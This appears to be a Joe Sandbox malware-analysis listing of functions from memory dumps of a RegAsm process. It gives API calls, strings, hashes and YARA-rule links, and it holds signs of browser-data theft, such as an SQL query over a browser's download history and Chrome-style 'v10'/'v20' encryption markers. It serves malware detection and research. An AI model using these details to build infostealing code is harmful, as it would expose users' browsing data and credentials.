Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 1D21D5BAA002196BEB119E19EC81EAB77A8FF4571CF040164FE04AB342E771DC1487F1

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,0041375D,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

C:\Users\user\Desktop\, xrefs: 0041212C, 00412131
%s%s, xrefs: 00412150

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-438050915
Opcode ID: bb9218cddbb4089fc796ec00a4e5fb69e3466a4d3a63b2e16eb563de281f5301
Instruction ID: d87155c712c06d519f53d1babcb02272deba0eed27b395e270d6ab13932a4088
Opcode Fuzzy Hash: bb9218cddbb4089fc796ec00a4e5fb69e3466a4d3a63b2e16eb563de281f5301
Instruction Fuzzy Hash: 87F0E9322002157FDF090F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6C24AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C24AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C24AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C24AF5C
%s at line %d of [%.10s], xrefs: 6C24AFD3
misuse, xrefs: 6C24AFCE

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c7bab248cc513fc4b7b091dc8ee29c50b194876b0d2b4ed27f6b0353fe6e48d4
Instruction ID: d6bfb7ccfc9657f9b5926a183f68a2a384d802290eb34d086dcf4633214c4817
Opcode Fuzzy Hash: c7bab248cc513fc4b7b091dc8ee29c50b194876b0d2b4ed27f6b0353fe6e48d4
Instruction Fuzzy Hash: 6891D075B0021ACFDB08CF59C850AAEB7F1BF49315F1A84A8EC65AB791D735AD01CB60

Function 6C16D468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C17CBE8: GetCurrentProcess.KERNEL32(?,6C1431A7), ref: 6C17CBF1
Part of subcall function 6C17CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1431A7), ref: 6C17CBFA

EnterCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D4F2
LeaveCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D50B

Part of subcall function 6C14CFE0: EnterCriticalSection.KERNEL32(6C1CE784), ref: 6C14CFF6
Part of subcall function 6C14CFE0: LeaveCriticalSection.KERNEL32(6C1CE784), ref: 6C14D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D52E
EnterCriticalSection.KERNEL32(6C1CE7DC), ref: 6C16D690
LeaveCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D751

Strings

g/, xrefs: 6C16D4E2
MOZ_CRASH(), xrefs: 6C16D4BB

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: g/$MOZ_CRASH()
API String ID: 3805649505-4072752104
Opcode ID: 6421a417c122967ac57393e7bf2064090bf939c17eb54297ea938c7c6c149776
Instruction ID: b0bcedf64c5897eda74a1e53bb082bbcb97cb2bc838ab0589b96259e4251110c
Opcode Fuzzy Hash: 6421a417c122967ac57393e7bf2064090bf939c17eb54297ea938c7c6c149776
Instruction Fuzzy Hash: D651F271A047418FD324DF29C09471ABBE1EF99704F25892EE5A9C7F84D774E820CB92

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

v20, xrefs: 00408286
ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v10, xrefs: 004082CE

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: 68d2dbd41684cf582b2dd607f8162f145748491bc51946d7881d8039dcd7bf52
Instruction ID: e242da40d0033fbd12c9c67386fe47bc04799ea9e419b8198694ac67771070ea
Opcode Fuzzy Hash: 68d2dbd41684cf582b2dd607f8162f145748491bc51946d7881d8039dcd7bf52
Instruction Fuzzy Hash: 1441B3B2A00118ABCF10DFA5CD45ADE3BB8AB84714F15413BFD40F7280EB799A458799

Function 6C19B410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C144290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C183EBD,6C183EBD,00000000), ref: 6C1442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C19B127), ref: 6C19B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C19B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C19B4E4

Strings

g/, xrefs: 6C19B419
pid:, xrefs: 6C19B4DE

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: g/$pid:
API String ID: 1720406129-442465947
Opcode ID: ab874e889e5c0383880fc4e82ae81b6d645622915835dba4a29c5623d094e181
Instruction ID: 74c4c95b759bf43cf688688696a09f9094ecea95349133f94dde2996cacb30dc
Opcode Fuzzy Hash: ab874e889e5c0383880fc4e82ae81b6d645622915835dba4a29c5623d094e181
Instruction Fuzzy Hash: 72312231A01208CFDB20DFA9D880AEEBBB5FF04308F540529E8026BB41D731E949DBE1

Function 6C186470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C1882BC,?,?), ref: 6C18649B

Part of subcall function 6C15CA10: malloc.MOZGLUE(?), ref: 6C15CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1864A9

Part of subcall function 6C17FA80: GetCurrentThreadId.KERNEL32 ref: 6C17FA8D
Part of subcall function 6C17FA80: AcquireSRWLockExclusive.KERNEL32(6C1CF448), ref: 6C17FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C18653F
free.MOZGLUE(?), ref: 6C18655A

Strings

g/, xrefs: 6C186482

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: g/
API String ID: 3596744550-2179982415
Opcode ID: c2f54964f11c4c2040cd17d70e74f6fef122416cb1b509b457e643a98d022329
Instruction ID: 0b782a240617f42d5e09ddd6df1014fa53c1526203f63d271fbeb997737cf7ff
Opcode Fuzzy Hash: c2f54964f11c4c2040cd17d70e74f6fef122416cb1b509b457e643a98d022329
Instruction Fuzzy Hash: 7B316FB5A053159FDB00CF14D884A9EBBE4BF99354F00842EE85A97741DB34EA19CF92

Function 6C2D6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C2D6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2D6E57

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C2D6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C2D6EAA

Strings

n7l, xrefs: 6C2D6DF9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n7l
API String ID: 3163584228-1965826383
Opcode ID: 4a2f934960a18a0fe42198153705cd3e169c0c0336d5c890199cedbb78911697
Instruction ID: f2e21f8033d2cbe5671beb81e782191410beee86ea5dfa3338c78d1bed7c7909
Opcode Fuzzy Hash: 4a2f934960a18a0fe42198153705cd3e169c0c0336d5c890199cedbb78911697
Instruction Fuzzy Hash: 5B31F27261061BEFDB141F34DC44B96B7A5AB2131AF120E3DEC99D2A81EB307554CF82

Function 6C1A74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C1A7526
__Init_thread_footer.LIBCMT ref: 6C1A7566
__Init_thread_footer.LIBCMT ref: 6C1A7597

Strings

kernel32.dll, xrefs: 6C1A7557
UnmapViewOfFile2, xrefs: 6C1A7552

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5a6a5e408578a547873f73fc10d70c7fbf8a90b62c1faa6a2014e4906af6e744
Instruction ID: b2bdfab25659c0dc9c8f2b9bb77dc48afdbd197d74c83dc86bea6d1d2713a8fa
Opcode Fuzzy Hash: 5a6a5e408578a547873f73fc10d70c7fbf8a90b62c1faa6a2014e4906af6e744
Instruction Fuzzy Hash: D2213439701600EBCA14CFE9C819F9937B5EB56778F05452AF81587B40C738BA278AE6

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

string too long, xrefs: 0040F2E1
invalid string position, xrefs: 0040F2C2

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: a485421dd5a78cd2a7a1301aafb0f2a4a39fc08065067220dcce4613190f6d04
Instruction ID: 72e8036974cc761ff0466d6fc4036c30ded90f37fe8296419b9c0a4158f7f38d
Opcode Fuzzy Hash: a485421dd5a78cd2a7a1301aafb0f2a4a39fc08065067220dcce4613190f6d04
Instruction Fuzzy Hash: 4F11EC71300201AFCB24EF6DD881A59B3A5BF41324754053AF916EBAC2C778ED898799

Function 6C250DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C250BDE), ref: 6C250DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C250BDE), ref: 6C250DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C250BDE), ref: 6C250DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C250BDE), ref: 6C250E32

Strings

%s incr => %d (find lib), xrefs: 6C250E2D

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 75e7300d636802902dba9604d239b13b51b73133118eb05ba0850d1791935f60
Instruction ID: 8df50dcda1b5b021853b423a74fde3a4992eead0c3b1bb0ae82afc77edbfefd2
Opcode Fuzzy Hash: 75e7300d636802902dba9604d239b13b51b73133118eb05ba0850d1791935f60
Instruction Fuzzy Hash: A30124727003189FE7209F249C45E1773ACDB45A0DB54446EED49D3A41E762FC248AE1

Function 6C30AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]/l,00000000,?,?,6C2E6AC6,?), ref: 6C30AC2D

Part of subcall function 6C2AADC0: TlsGetValue.KERNEL32(?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE10
Part of subcall function 6C2AADC0: EnterCriticalSection.KERNEL32(?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE24
Part of subcall function 6C2AADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C28D079,00000000,00000001), ref: 6C2AAE5A
Part of subcall function 6C2AADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE6F
Part of subcall function 6C2AADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAE7F
Part of subcall function 6C2AADC0: TlsGetValue.KERNEL32(?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAEB1
Part of subcall function 6C2AADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C28CDBB,?,6C28D079,00000000,00000001), ref: 6C2AAEC9

PK11_FreeSymKey.NSS3(?,@]/l,00000000,?,?,6C2E6AC6,?), ref: 6C30AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]/l,00000000,?,?,6C2E6AC6,?), ref: 6C30AC59
free.MOZGLUE(8CB6FF01,6C2E6AC6,?,?,?,?,?,?,?,?,?,?,6C2F5D40,00000000,?,6C2FAAD4), ref: 6C30AC62

Strings

@]/l, xrefs: 6C30AC05

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]/l
API String ID: 1595327144-2284597212
Opcode ID: e5440e0394bbbf6c57b59d54a26361c4b2a0e729fb1d711354cf91bef4990f66
Instruction ID: 954c3262fec1777a365e13b1902200cf4a0d593544cf4f372f5bd620ed104332
Opcode Fuzzy Hash: e5440e0394bbbf6c57b59d54a26361c4b2a0e729fb1d711354cf91bef4990f66
Instruction Fuzzy Hash: 01014BBA6006049FDB10DF69E8C0B46B7A8AF44B5CF198068ED49DF706D731E849CFA1

Function 00412166 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(uOA,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414F75,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00414F75,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414F75,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414F75,?), ref: 004121AC

Strings

uOA, xrefs: 0041217E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID: uOA
API String ID: 4148174661-3678490981
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6C1AC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C1AC0E9), ref: 6C1AC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C1AC437
FreeLibrary.KERNEL32(?,6C1AC0E9), ref: 6C1AC44C

Strings

NtQueryVirtualMemory, xrefs: 6C1AC431
ntdll.dll, xrefs: 6C1AC413

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e6b4a0e6b3ea60db3929993a126eb16e946ccb222413a49e840e22f958029276
Instruction ID: 05f2f25fe94ed36cfd1c516382750d2280d1da8f217a2db1a18d399d15f848a4
Opcode Fuzzy Hash: e6b4a0e6b3ea60db3929993a126eb16e946ccb222413a49e840e22f958029276
Instruction Fuzzy Hash: C9E0B6786053099BDF007F71C9587117FF8A716A08F004117FA24D2A00EBBDC631AB54

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

SELECT target_path, tab_url from downloads, xrefs: 004093B9
Downloads, xrefs: 004092D1
